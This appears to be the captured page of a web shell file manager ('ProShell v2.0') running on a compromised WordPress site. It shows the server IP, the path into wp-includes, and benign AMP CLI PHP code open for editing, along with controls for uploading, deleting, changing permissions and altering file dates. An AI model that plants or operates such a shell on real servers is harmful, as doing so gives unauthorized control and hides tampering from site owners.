ProShell v2.0
Dashboard
Server Info
Server: 158.106.128.192
PHP: 8.2.33
home
planet5
public_html
bansibaba.com
wp-includes
2026-09-18 07:26:28
Editing: Command.php
Cancel
Save Changes
<?php namespace AmpProject\Cli; /** * A command that is registered with the amp executable. * * @package AmpProject\Cli */ abstract class Command { /** * Name of the command. * * This needs to be overridden in extending commands. * * @var string */ const NAME = '<unknown>'; /** * Instance of the CLI executable that the command belongs to. * * @var Executable */ protected $cli; /** * Instantiate the command. * * @param Executable $cli Instance of the CLI executable that the command belongs to. */ public function __construct(Executable $cli) { $this->cli = $cli; } /** * Get the name of the command. * * @return string Name of the command. */ public function getName() { return static::NAME; } /** * Register the command. * * @param Options $options Options instance to register the command with. */ abstract public function register(Options $options); /** * Process the command. * * Arguments and options have been parsed when this is run. * * @param Options $options Options instance to process the command with. */ abstract public function process(Options $options); }
Upload Files
Cancel
Upload
Create New
Cancel
Create
Change Permissions
Cancel
Save
Change Date
Cancel
Save
Rename Item
Cancel
Save
Confirm Delete
Are you sure you want to delete the selected items?
Cancel
Delete